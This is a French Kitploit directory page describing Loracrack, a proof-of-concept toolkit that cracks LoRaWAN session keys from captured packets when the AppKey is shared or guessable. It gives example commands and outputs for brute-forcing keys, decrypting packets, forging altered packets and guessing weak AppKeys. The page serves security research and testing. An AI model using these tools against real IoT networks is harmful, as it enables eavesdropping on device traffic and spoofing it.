Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Loracrack — LoRaWAN session cracker - Une preuve de concept pour exploiter des clés d'application faibles ou partagées | Kitploit
Outils/GitHubGitHub/applied-risk/loracrack
Sécurité IoTExploitationSécurité Sans FilCryptographieTests d'IntrusionSécurité Matériel et IoT
GitHubapplied-risk/loracrack

Loracrack

LoRaWAN session cracker - Une preuve de concept pour exploiter des clés d'application faibles ou partagées

Voir le dépôt
1973il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Loracrack - Craqueur de sessions LoRaWAN

Une preuve de concept pour exploiter des clés d'application faibles ou partagées

Créé par Sipke Mellema d'Applied Risk

Ceci est une preuve de concept pour démontrer les dangers d'utiliser la même AppKey sur plusieurs nœuds LoRaWAN.

Ce dépôt contient une boîte à outils pour craquer les clés de session LoRaWAN à partir de paquets capturés. Le scénario d'attaque suppose que vous connaissez l'AppKey mais avez manqué la poignée de main. Ou que l'AppKey n'est pas aléatoire et peut être devinée.

Les poignées de main LoRa utilisent trois valeurs pour générer les clés de session : AppNonce | NetID | DevNonce AppNonce et NetID font 3 octets, et DevNonce fait 2 octets. Une partie du NetID est connue, ce qui laisse une entropie de 57 bits. Et en raison de défauts d'implémentation, cela peut être bien inférieur.

Compilation et utilisation

Il suffit de faire make. Notez que vous devrez peut-être lier à un emplacement openssl 1.0.* dans le Makefile.

Aperçu des outils

loracrack

./loracrack -k <AppKey en hexadécimal> -p <paquet brut en hexadécimal>

Craque les clés de session si la poignée de main (join-accept) est manquée mais que l'AppKey est connue. Le craquage est effectué en générant les clés de session et en vérifiant le MIC.

root@kitploit:~
$ ./loracrack -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57

4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
root@kitploit:~
Arguments optionnels :
	-t threads
	-v verbeux (0, 1 ou 2)
	-m AppNonce maximal

loracrack_knownpt

./loracrack_knownpt -k <AppKey en hexadécimal> -p <paquet brut en hexadécimal> -d <texte en clair en hexadécimal>

Craque les clés de session si la poignée de main (join-accept) est manquée mais que l'AppKey et le texte en clair sont connus. Le craquage est effectué en déchiffrant le FRMPayload et en vérifiant le texte en clair. C'est plus rapide que de vérifier le MIC, car le CMAC utilise plus d'opérations AES.

root@kitploit:~
$ ./loracrack_knownpt -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 -d 33302e3332

4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
root@kitploit:~
Arguments optionnels :
	-t threads
	-v verbeux (0, 1 ou 2)
	-m AppNonce maximal

loracrack_decrypt

./loracrack_decrypt -k <clé de déchiffrement en hexadécimal> -p <paquet brut en hexadécimal>

Déchiffre les données du paquet si la clé de session est connue.

root@kitploit:~
$ ./loracrack_decrypt -k 4899be88e40088c40abc703fa3ba1195 -p 400267bd018005000142d9f48c52ea717c57

30.32

loracrack_alterpacket

./loracrack_alterpacket -p <paquet brut en hexadécimal> -a <AppSKey en hexadécimal> -n <NwkSKey en hexadécimal> -c <Fctn> -d <nouvelles données en hexadécimal>

Modifie le paquet avec de nouvelles données, conserve les anciens éléments comme DeviceAddr.

root@kitploit:~
$ ./loracrack_alterpacket -p 400267bd018005000142d9f48c52ea717c57 -a 4899be88e40088c40abc703fa3ba1195 -n 04068f88b9feee5385c67e033d911b4a -c 5 -d 33302d3332

400267bd018005000142d9f78c521c78573b

loracrack_genkeys

./loracrack_genkeys -k <AppKey en hexadécimal> -j <paquet de jointure en hexadécimal> -a <paquet d'acceptation en hexadécimal>

Génère les clés de session à partir de la poignée de main (paquets de jointure et d'acceptation) et de l'AppKey.

root@kitploit:~
$ ./loracrack_genkeys -k 88888888888888888888888888888888 -j 0000000000000000002bd61f000ba304000e1ba147157a -a 20adf6e18980952590fc1f7987a6913f35

4e1dcaf4f02fcd2ecbb1cb0d138fc53d 96eb9e13f0a3468ca580707ee688ee19

loracrack_guessjoin

./loracrack_guessjoin -p <paquet brut en hexadécimal> -f <fichier avec les AppKeys en hexadécimal>

Vérifie si des AppKeys prévisibles sont utilisées en vérifiant le MIC sur un paquet de jointure. Les AppKeys sont extraites d'un fichier contenant des AppKeys encodées en hexadécimal sur de nouvelles lignes.

root@kitploit:~
$ ./loracrack_guessjoin -p 0000000000000000002bd61f000ba304002f3b5785cf80 -f guessjoin_genkeys/simplekeys

88888888888888888888888888888888
Télécharger l’outil